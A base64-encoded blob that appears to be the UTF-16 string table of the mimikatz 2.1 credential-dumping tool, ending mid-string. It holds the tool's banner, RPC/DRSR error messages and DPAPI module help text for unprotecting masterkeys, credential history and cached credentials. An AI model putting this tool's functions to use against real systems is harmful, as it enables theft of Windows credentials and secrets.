CgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAABFAFIAUgBPAFIAXwBOAE8AXwBTAFkATgBUAEEAQwBUAEkAQwBBAEwAXwBNAEEAUABQAEkATgBHAAAAAABFAFIAUgBPAFIAXwBEAE8ATQBBAEkATgBfAE8ATgBMAFkAAABFAFIAUgBPAFIAXwBOAE8AXwBNAEEAUABQAEkATgBHAAAAAABFAFIAUgBPAFIAXwBOAE8AVABfAFUATgBJAFEAVQBFAAAAAABFAFIAUgBPAFIAXwBOAE8AVABfAEYATwBVAE4ARAAAAEUAUgBSAE8AUgBfAFIARQBTAE8ATABWAEkATgBHAAAATgBPAF8ARQBSAFIATwBSAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAFEAdQBlAHIAeQBDAG8AbgB0AGUAeAB0AEEAdAB0AHIAaQBiAHUAdABlAHMAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFIAcABjAFMAZQBjAHUAcgBpAHQAeQBDAGEAbABsAGIAYQBjAGsAIAA7ACAASQBfAFIAcABjAEIAaQBuAGQAaQBuAGcASQBuAHEAUwBlAGMAdQByAGkAdAB5AEMAbwBuAHQAZQB4AHQAIAAlADAAOAB4AAoAAAAAAG4AYwBhAGMAbgBfAGkAcABfAHQAYwBwAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABPAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8ARQB4ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABOAG8AIABCAGkAbgBkAGkAbgBnACEACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcARgByAG8AbQBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnAEMAbwBtAHAAbwBzAGUAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAKAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQAIABTAGkAegBlACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwAgACgAbgBhAG0AZQAgAHMAdABhAHQAdQBzACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAgAC0AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAG4AbwAgAGkAdABlAG0AIQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABiAGEAZAAgAHYAZQByAHMAaQBvAG4AIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAaABlAGMAawBzAHUAbQBzACAAZABvAG4AJwB0ACAAbQBhAHQAYwBoACAAKABDADoAMAB4ACUAMAA4AHgAIAAtACAAUgA6ADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAYQBsAGMAdQBsAGEAdABlACAAQwBSAEMAMwAyAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAATgBvACAAdgBhAGwAaQBkACAAZABhAHQAYQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAATgBvACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8AQwBSAEEAQwBLAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAbgBhAG0AZQBDAHIAYQBjAGsATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBEAEMASQBOAEYATwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAYwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARwBFAFQAQwBIAEcAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABUAE8ARABPACAAKABtAGEAeQBiAGUAPwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARwBFAFQAQwBIAEcAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAABcAHgAJQAwADIAeAAAAAAAMAB4ACUAMAAyAHgALAAgAAAAAAAlADAAMgB4ACAAAAAlAHcAWgAAACUAMAAyAHgAAAAAAAoAQgBZAFQARQAgAGQAYQB0AGEAWwBdACAAPQAgAHsACgAJAAAAAAAJAAAACgB9ADsACgAAAAAAJQBzACAAAAAlAHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AZABpAHMAcABsAGEAeQBTAEkARAAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABMAGEAYgBlAGwAAABDAG8AbQBwAHUAdABlAHIAAAAAAFUAbgBrAG4AbwB3AG4AAABJAG4AdgBhAGwAaQBkAAAARABlAGwAZQB0AGUAZABBAGMAYwBvAHUAbgB0AAAAAABXAGUAbABsAEsAbgBvAHcAbgBHAHIAbwB1AHAAAAAAAEEAbABpAGEAcwAAAEQAbwBtAGEAaQBuAAAAAABHAHIAbwB1AHAAAABVAHMAZQByAAAAAAB1AG4AawAhAAAAAABUAG8AawBlAG4AAABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMQAgAHgAOAA2ACAAKABvAGUALgBlAG8AKQAAAAAAAAAAAAoAIAAgAC4AIwAjACMAIwAjAC4AIAAgACAAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADEAIAAoAHgAOAA2ACkAIABiAHUAaQBsAHQAIABvAG4AIABKAHUAbgAgADEAMwAgADIAMAAxADYAIAAyADEAOgAwADQAOgAzADYACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAiAEEAIABMAGEAIABWAGkAZQAsACAAQQAgAEwAJwBBAG0AbwB1AHIAIgAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAG8AZQAuAGUAbwApAAoAIAAgACcAIwAjACMAIwAjACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB3AGkAdABoACAAJQAyAHUAIABtAG8AZAB1AGwAZQBzACAAKgAgACoAIAAqAC8ACgAAAAoAbQBpAG0AaQBrAGEAdAB6ACgAYwBvAG0AbQBhAG4AZABsAGkAbgBlACkAIAAjACAAJQBzAAoAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAIwAgAAAAAAAlAHMACgAAAEkATgBJAFQAAAAAAEMATABFAEEATgAAAD4APgA+ACAAJQBzACAAbwBmACAAJwAlAHMAJwAgAG0AbwBkAHUAbABlACAAZgBhAGkAbABlAGQAIAA6ACAAJQAwADgAeAAKAAAAAAA6ADoAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAACgAlADEANgBzAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABjAG8AbQBtAGEAbgBkACAAbwBmACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAACgBGAHUAbABsACAAbgBhAG0AZQAgADoACQAlAHMAAAAKAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoACQAlAHMAAABzAGkAZAAAAFcAdwBhAG4AIAB0AGUAcwB0AAAAdwB3AGEAbgAAAAAAVwBpAEYAaQAgAHQAZQBzAHQAAAB3AGkAZgBpAAAAAABWAEEAVQBMAFQAIAB0AGUAcwB0AAAAAABDAFIARQBEACAAdABlAHMAdAAAAEMATgBHACAAawBlAHkAIAB0AGUAcwB0AAAAAABDAEEAUABJACAAawBlAHkAIAB0AGUAcwB0AAAARABlAHMAYwByAGkAYgBlACAAYQAgAEMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAAAAAAGMAcgBlAGQAaABpAHMAdAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAE0AYQBzAHQAZQByAGsAZQB5ACAAZgBpAGwAZQAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABlAGEAYwBoACAATQBhAHMAdABlAHIAawBlAHkAIAAoAGsAZQB5ACAAZABlAHAAZQBuAGQAaQBuAGcAKQAAAG0AYQBzAHQAZQByAGsAZQB5AAAAAAAAAFAAcgBvAHQAZQBjAHQAIABhACAAZABhAHQAYQAgAHYAaQBhACAAYQAgAEQAUABBAFAASQAgAGMAYQBsAGwAAABwAHIAbwB0AGUAYwB0AAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAABiAGwAbwBiAAAAAABEAGEAdABhACAAUAByAG8AdABlAGMAdABpAG8AbgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAgAHAAcgBvAGcAcgBhAG0AbQBpAG4AZwAgAGkAbgB0AGUAcgBmAGEAYwBlAAAAAAAAAEQAUABBAFAASQAgAE0AbwBkAHUAbABlACAAKABiAHkAIABBAFAASQAgAG8AcgAgAFIAQQBXACAAYQBjAGMAZQBzAHMAKQAAAGMAcgBlAGQAAAAAAHYAYQB1AGwAdAAAAGMAYQBjAGgAZQAAAGQAcABhAHAAaQAAAGMAbgBnAAAAYwBhAHAAaQAAAAAAaABhAHMAaAAAAAAAaQBuAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6ACAAJQBzAAoAAABvAHUAdAAAAFcAcgBpAHQAZQAgAHQAbwAgAGYAaQBsAGUAIAAnACUAcwAnACAAaQBzACAATwBLAAoAAABkAGEAdABhADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAGkAbQBpAGsAYQB0AHoAAAAAAGQAYQB0AGEAAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAGUAbgB0AHIAbwBwAHkAAABtAGEAYwBoAGkAbgBlAAAAcAByAG8AbQBwAHQAAAAAAGMAAAAKAGQAYQB0AGEAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAZgBsAGEAZwBzACAAIAAgACAAIAAgACAAOgAgAAAAAABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwA6ACAAAAAAAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgADoAIAAAAAAAQgBsAG8AYgA6AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAATgBvACAAcwB1AGkAdABhAGIAbABlACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIABjAGEAYwBoAGUACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIAAoAG0AYQBjAGgAaQBuAGUALAAgAHQAaABlAG4AIAB1AHMAZQByACkAOgAgAAAAKgAqACAATQBBAEMASABJAE4ARQAgACoAKgAKAAAAAAAqACoAIABVAFMARQBSACAAKgAqAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAKAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AOgAgAAAAAABwAGEAcwBzAHcAbwByAGQAAAAAAG4AbwByAG0AYQBsAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAcwAgACgAJQBzACAAdQBzAGUAcgApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcABhAHMAcwB3AG8AcgBkAAoAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAGgAYQBzAGgAOgAgAAAAAAAgACgAbgB0AGwAbQAgAHQAeQBwAGUAKQAKAAAAIAAoAHMAaABhADEAIAB0AHkAcABlACkACgAAACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHUAcwBlAHIASABhAHMAaAAKAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAKAAAAcAB2AGsAAAAAAAAACgBbAGQAbwBtAGEAaQBuAGsAZQB5AF0AIAB3AGkAdABoACAAUgBTAEEAIABwAHIAaQB2AGEAdABlACAAawBlAHkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABJAG4AcAB1AHQAIABtAGEAcwB0AGUAcgBrAGUAeQBzACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAHMAaABhADEAAAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAoAIAAgAFsAZQBuAHQAcgB5ACAAJQB1AF0AIAB3AGkAdABoACAAUwBIAEEAMQAgAGEAbgBkACAAUwBJAEQAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZABoAGkAcwB0ACAAOwAgAEkAbgBwAHUAdAAgAGMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAdQBuAHAAcgBvAHQAZQBjAHQAAAAgACoAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAAIAAqACAAbQBhAHMAdABlAHIAawBlAHkAIAAgACAAIAAgADoAIAAAACAAPgAgAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzACAAIAA6ACAAAAAgAD4AIABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAAgACAAOgAgAAAAIAA+ACAAcABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAHIAYQB3AF8AbwByAF8AYgBsAG8AYgAgADsAIABDAHIAeQBwAHQAVQBuAHAAcgBvAHQAZQBjAHQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAIAAgAGsAZQB5ACAAOgAgAAAAAAAgACAAcwBoAGEAMQA6ACAAAAAAACAAIABzAGkAZAAgADoAIAAAAAAAIAAgACAAAAAgAC0ALQAgAAAAAAAgACAAIAA+ACAATgBUAEwATQA6ACAAAAAgACAAIAA+ACAAUwBIAEEAMQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAG0AYQBzAHQAZQByAGsAZQB5AF8AYQBkAGQAIAA7ACAATgBvACAARwBVAEkARAAgAG8AcgAgAEsAZQB5ACAASABhAHMAaAA/AAAAAABHAFUASQBEADoAAAA7AAAASwBlAHkASABhAHMAaAA6AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBvAGUAXwBjAHIAZQBkAGUAbgB0AGkAYQBsAF8AYQBkAGQAIAA7ACAATgBvACAAUwBJAEQAPwAAAAAAUwBJAEQAOgAlAHMAAAAAAE0ARAA0ADoAAAAAAFMASABBADEAOgAAAE0ARAA0AHAAOgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGQAbwBtAGEAaQBuAGsAZQB5AF8AYQBkAGQAIAA7ACAATgBvACAARwBVAEkARAAgAG8AcgAgAEsAZQB5AD8AAABSAFMAQQAAAEwARQBHAEEAQwBZAAAAAAA7AFQAWQBQAEUAOgAlAHMACgAAAAoAQwBSAEUARABFAE4AVABJAEEATABTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAACgBNAEEAUwBUAEUAUgBLAEUAWQBTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAACgBEAE8ATQBBAEkATgBLAEUAWQBTACAAYwBhAGMAaABlAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAQQB1AHQAbwAgAFMASQBEACAAZgByAG8AbQAgAHAAYQB0AGgAIABzAGUAZQBtAHMAIAB0AG8AIABiAGUAOgAgACUAcwAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEwAZQBnAGEAYwB5ACAAQwByAGUAZABlAG4AdABpAGEAbAAoAH